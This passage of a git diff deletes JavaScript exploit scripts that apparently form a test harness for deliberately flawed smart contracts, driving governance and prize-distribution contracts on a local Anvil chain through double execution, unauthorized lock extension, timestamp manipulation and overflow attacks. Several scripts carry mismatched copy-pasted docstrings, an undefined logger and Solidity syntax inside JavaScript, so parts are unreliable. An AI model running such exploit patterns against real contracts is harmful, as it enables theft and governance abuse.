{Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - console.log(`contractAddress: ${contractAddress}`) - web3 = await createLoggerWeb3(web3); - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-4.js b/CI/exploits/synthesized-prompt-1/GovernanceExploit-4.js deleted file mode 100644 index 1fc6fe73..00000000 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-4.js +++ /dev/null @@ -1,119 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const getLogger = require('@lib/logging/logger').getLogger; -let governanceExploitLogger = getLogger('governance'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); - -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-4' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); -let solcVersion = extractSolcVersion(source); -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI - const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - - // Step 1: Create multiple proposals in quick succession - console.log("Creating multiple proposals with overlapping voting periods..."); - for (let i = 0; i < 3; i++) { - let createResult = await contractInstance.methods.createProposal().send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - await sleep(200); - governanceExploitLogger.debug(`Proposal created with ID: ${i}`); - } - - const proposalIds = [0, 1, 2]; - - // Wait for review periods to end - governanceExploitLogger.debug(`Waiting for review periods to end: sleeping for 5 seconds...`); - await sleep(5000); - - // Step 2: Vote on all proposals - for (const proposalId of proposalIds) { - console.log(`Voting on proposal ${proposalId}...`); - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - await sleep(200); - } - - // Wait for voting periods to end and grace periods to finish - console.log("Waiting for grace periods to end..."); - await sleep(10000); - - // Step 3: Execute all proposals - for (const proposalId of proposalIds) { - console.log(`Executing proposal ${proposalId}...`); - const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - governanceExploitLogger.info(`Proposal ${proposalId} executed!`); - } - - return true; - } catch (error) { - console.error("Error in governance actions:", error); - return false; - } -} - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); - console.log(`contractAddress: ${contractAddress}`) - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/GovernanceExploit-5.js b/CI/exploits/synthesized-prompt-1/GovernanceExploit-5.js deleted file mode 100644 index eeba79b5..00000000 --- a/CI/exploits/synthesized-prompt-1/GovernanceExploit-5.js +++ /dev/null @@ -1,118 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const getLogger = require('@lib/logging/logger').getLogger; -let governanceExploitLogger = getLogger('governance'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -let contractFileFullName = 'Governance-5' -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName+'.sol'), 'utf8'); -let solcVersion = extractSolcVersion(source); -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - // Load the ABI of the Governance contract - // Assuming you have already compiled and have the ABI - const { abi } = await compileWithVersion(source, contractFileFullName, 'Governance', solcVersion); - const contractInstance = new web3.eth.Contract(abi, contractAddress); - - // Step 1: Create a proposal - let createResult = await contractInstance.methods.createProposal().send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - await sleep(200); - const proposalId = 0; // let's always target the first proposal in the list; - governanceExploitLogger.debug(`Proposal created with ID: ${proposalId}`); - - // Wait for review period and voting period to end - governanceExploitLogger.debug(`Waiting for review and voting period to end: sleeping for 15 seconds!`); - await sleep(15000); - - // Step 2: Vote on the proposal to reach the threshold - for (let i = 0; i < 3; i++) { - console.log(`Voting on proposal ${proposalId}...`); - await contractInstance.methods.vote(proposalId).send({ - from: envInfo.accounts[i], - gas: 3000000 - }); - await sleep(500); - } - - // Wait for grace period to finish - console.log("Waiting for grace period to end..."); - await sleep(5000); - - // Step 3: Execute the proposal multiple times - for (let i = 0; i < 3; i++) { - console.log(`Executing proposal ${proposalId} for the ${i+1} time...`); - const executeResult = await contractInstance.methods.executeProposal(proposalId).send({ - from: envInfo.accounts[0], - gas: 3000000 - }); - governanceExploitLogger.info(`Proposal ${proposalId} executed ${i+1} times!`); - await sleep(500); - } - - return true; - } catch (error) { - console.error("Error in governance actions:", error); - return false; - } -} - - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); - console.log(`contractAddress: ${contractAddress}`) - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-10.js b/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-10.js deleted file mode 100644 index dff55c00..00000000 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-10.js +++ /dev/null @@ -1,112 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-10.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); -let solcVersion = extractSolcVersion(source); - - -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let beneficiaryAccount = envInfo.accounts[1]; // Beneficiary account - - console.log("Checking if prize can be prematurely claimed..."); - - let currentBlockTime = await web3.eth.getBlock('latest').then(block => block.timestamp); - let unlockTime = await contractInstance.methods.unlockTime().call(); - - console.log(`Current block time: ${currentBlockTime}, Unlock time: ${unlockTime}`); - - if (currentBlockTime < unlockTime) { - console.log("Attempting to manipulate the block time for earlier prize claim..."); - // Here, we would need miner collusion to manipulate the timestamp, but we simulate this action - let claimTx = await contractInstance.methods.claimPrize().send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(200); - - if (claimTx.status) { - console.log("Prize successfully claimed with manipulated block time!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize, manipulation did not work as expected!"); - return false; // Exploit failed - } - } else { - console.error("Block time manipulation unnecessary, the unlock time has already passed."); - return false; // No need for exploitation - } - } catch (error) { - console.error(error.stack); - return false; - } -} - - - - - - - - - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - - web3 = await createLoggerWeb3(web3); - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - logger.info(chalk.green("Exploit successful!")); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-11.js b/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-11.js deleted file mode 100644 index 77da57ed..00000000 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-11.js +++ /dev/null @@ -1,106 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); - -const { createLoggerWeb3 } = require('@lib/web3/deploy'); -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-11.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); -let solcVersion = extractSolcVersion(source); - - -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let unauthorizedUser = envInfo.accounts[1]; // An unauthorized user, not the organizer - - console.log("Attempting to extend the unlock time as an unauthorized user..."); - - // Unauthorized user tries to extend the unlock time - let extendTx = await contractInstance.methods.extendLockTime(60 * 60 * 24).send({ // Extend by one day - from: unauthorizedUser, - gas: 300000 - }); - await sleep(200); - - // Check the updated unlock time - let newUnlockTime = await contractInstance.methods.unlockTime().call(); - console.log(`New unlock time after unauthorized extension: ${new Date(newUnlockTime * 1000).toString()}`); - - if (extendTx.status) { - console.log("Unauthorized extension successful: Unlock time was extended by an unauthorized user."); - return true; // Exploit successful - } else { - console.error("Failed to extend the unlock time; the transaction did not go through."); - return false; // Exploit failed - } - } catch (error) { - console.error("An error occurred during the exploit attempt:", error); - return false; - } -} - - - - - - - - - - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - - web3 = await createLoggerWeb3(web3); - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - logger.info(chalk.green("Exploit successful!")); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-12.js b/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-12.js deleted file mode 100644 index a9c5f796..00000000 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-12.js +++ /dev/null @@ -1,120 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-12.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); -let solcVersion = extractSolcVersion(source); - - -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let attackerAccount = envInfo.accounts[1]; // Use an attacker's account - - console.log("Attempting to manipulate unlock time..."); - - // Calculate how many times we need to call the function to bring the unlock time to the present or past - let initialUnlockTime = await contractInstance.methods.unlockTime().call(); - let currentTime = Math.floor(Date.now() / 1000); - let timeDifference = initialUnlockTime - currentTime; // Time in seconds - - // We need enough calls to reduce the unlock time significantly - let numberOfCallsNeeded = Math.ceil(timeDifference / (address(this).balance / 1000)); - - console.log(`Initial unlock time: ${initialUnlockTime}, Current time: ${currentTime}`); - console.log(`Time difference: ${timeDifference} seconds, Number of calls needed: ${numberOfCallsNeeded}`); - - // Perform the required number of calls - for (let i = 0; i < numberOfCallsNeeded; i++) { - await contractInstance.methods.adjustUnlockTimeBasedOnBalance().send({ - from: attackerAccount, - gas: 300000 - }); - await sleep(200); - } - - console.log("Unlock time manipulation attempt complete."); - - // Verify the new unlock time - let newUnlockTime = await contractInstance.methods.unlockTime().call(); - console.log(`New unlock time: ${newUnlockTime}`); - - if (newUnlockTime <= currentTime) { - console.log("Unlock time successfully manipulated to the current time or earlier."); - return true; // Exploit successful - } else { - console.error("Failed to manipulate unlock time sufficiently."); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } -} - - - - - - - - - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - - web3 = await createLoggerWeb3(web3); - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - logger.info(chalk.green("Exploit successful!")); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-13.js b/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-13.js deleted file mode 100644 index 6dbec4e8..00000000 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-13.js +++ /dev/null @@ -1,119 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-13.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); -let solcVersion = extractSolcVersion(source); - - -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let attackerAccount = envInfo.accounts[1]; // Use an attacker's account - - console.log("Attempting to exploit faulty vote resetting..."); - - // Initially vote to increase the prize - await contractInstance.methods.voteToIncreasePrize().send({ - from: attackerAccount, - gas: 300000 - }); - await sleep(200); - - // Supposed reset of votes by the organizer, but it is flawed - await contractInstance.methods.resetVotes().send({ - from: envInfo.accounts[0], // Organizer's account - gas: 300000 - }); - await sleep(200); - - // Try voting again after the supposed reset - await contractInstance.methods.voteToIncreasePrize().send({ - from: attackerAccount, - gas: 300000 - }); - await sleep(200); - - // Verify the new prize amount - let newPrizeAmount = await contractInstance.methods.prizeAmount().call(); - console.log(`New prize amount after repeated votes: ${newPrizeAmount}`); - - if (newPrizeAmount > web3.utils.toWei('1.2', 'ether')) { - console.log("Successfully exploited the faulty resetVotes function to increase the prize."); - return true; // Exploit successful - } else { - console.error("Failed to exploit the faulty resetVotes function."); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } -} - - - - - - - - - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); - - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - logger.info(chalk.green("Exploit successful!")); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-14.js b/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-14.js deleted file mode 100644 index 8383e846..00000000 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-14.js +++ /dev/null @@ -1,111 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-14.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); -let solcVersion = extractSolcVersion(source); - - -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let beneficiaryAccount = envInfo.accounts[1]; // Use beneficiary's account for the exploit - - console.log("Attempting to exploit the user-provided timestamp vulnerability..."); - - // Manipulate the timestamp by providing a future date - let futureTimestamp = Math.floor(Date.now() / 1000) + 2 * 86400; // Two days in the future - - // Record a future action - await contractInstance.methods.recordAction(futureTimestamp).send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(200); - - // Try to claim the prize using the future timestamp - let claimTx = await contractInstance.methods.claimPrize(futureTimestamp).send({ - from: beneficiaryAccount, - gas: 300000 - }); - await sleep(200); - - if (claimTx.status) { - console.log("Prize successfully claimed using manipulated future timestamp!"); - return true; // Exploit successful - } else { - console.error("Failed to claim the prize, exploit did not work as expected."); - return false; // Exploit failed - } - } catch (error) { - console.error(error.stack); - return false; - } -} - - - - - - - - - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); - - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - logger.info(chalk.green("Exploit successful!")); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-16.js b/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-16.js deleted file mode 100644 index 49f83bcb..00000000 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-16.js +++ /dev/null @@ -1,109 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); - -const { createLoggerWeb3 } = require('@lib/web3/deploy'); -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-16.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); -let solcVersion = extractSolcVersion(source); - - -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, contractAddress) { - try { - let { abi } = await compileWithVersion(source, contractFileFullName, 'PrizeDistribution', solcVersion); - let contractInstance = new web3.eth.Contract(abi, contractAddress); - let organizerAccount = envInfo.accounts[0]; // Assuming this account is the organizer's - - console.log("Attempting to cause an integer overflow to manipulate unlock time..."); - - // Send an amount that is likely to cause the unlock time calculation to overflow - let largeAmountToSend = web3.utils.toWei('115792089237316195423570985008687907853269984665640564039457', 'ether'); - - await contractInstance.methods.extendLockTime().send({ - from: organizerAccount, - value: largeAmountToSend, - gas: 300000 - }); - await sleep(200); - - // Check the updated unlock time to see if it has overflowed and wrapped around - let newUnlockTime = await contractInstance.methods.unlockTime().call(); - let currentTime = Math.floor(Date.now() / 1000); - - console.log(`Updated unlock time after sending large amount: ${new Date(newUnlockTime * 1000).toString()}, Current time: ${new Date(currentTime * 1000).toString()}`); - - if (newUnlockTime < currentTime) { - console.log("Integer overflow exploited successfully: Unlock time has been reduced to a past timestamp."); - return true; // Exploit successful - } else { - console.error("Failed to cause integer overflow; unlock time not reduced as expected."); - return false; // Exploit failed - } - } catch ( error) { - console.error("An error occurred during the exploit attempt:", error); - return false; - } -} - - - - - - - - - - - - - - -/** - * Executes the exploit and checks its result - * - * This function will run the exploit and then verify if the exploit has - * yielded the predicted result. If the exploit is successful, a success - * message is displayed, otherwise an error message is shown. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the test is successful, `false` otherwise. - * @throws {Error} If there's an error during the test execution. - */ -module.exports = async function runTests(web3, envInfo, contractAddress) { - // envInfo.accounts, envInfo.privateKeys, and envInfo.rpcAddress should be available from Anvil - web3 = await createLoggerWeb3(web3); - // Execute the exploit - let result = await exploit(web3, envInfo, contractAddress); - - // See if exploit has yielded the predicted result (a very manual oracle!) - assert.strictEqual(result, true, "Exploit did not yield the expected result"); - logger.info(chalk.green("Exploit successful!")); - - return result; -} diff --git a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-17.js b/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-17.js deleted file mode 100644 index 902e6cd9..00000000 --- a/CI/exploits/synthesized-prompt-1/PrizeDistributionExploit-17.js +++ /dev/null @@ -1,114 +0,0 @@ -require('module-alias/register'); -const fs = require('fs'); -const path = require('path'); -const assert = require('assert'); -const chalk = require('chalk'); -const { - extractSolcVersion, - compileWithVersion, - deployContract -} = require('@lib/web3/deploy'); - -const { setTimeout } = require('timers'); -const { sleep } = require('@lib/os/process'); -const { createLoggerWeb3 } = require('@lib/web3/deploy'); - -// It seems module alias does not work with js path, so, we will resort to the dirty approach. -const projectRoot = path.resolve(__dirname, '..', '..', '..'); -const contractsDir = path.join(projectRoot, './contracts'); -const contractFileFullName = 'PrizeDistribution-18.sol'; -let source = fs.readFileSync(path.join(contractsDir, 'src', 'synthesized', contractFileFullName), 'utf8'); -let solcVersion = extractSolcVersion(source); - - -/** - * Attempts to exploit a vulnerability in the ProductOrder smart contract. - * - * The exploit involves applying a discount just before the discountEndTime, - * waiting for a few seconds, then making a transaction to pay for the order - * at the discounted price, and finally confirming the order. - * - * @param {Object} web3 - The Web3 instance. - * @param {Object} envInfo - An object containing environment information such as accounts, privateKeys, and rpcAddress. - * @returns {Promise} A promise that resolves to `true` if the exploit is successful, `false` otherwise. - * @throws {Error} If there's an error during the exploit process. - */ -async function exploit(web3, envInfo, 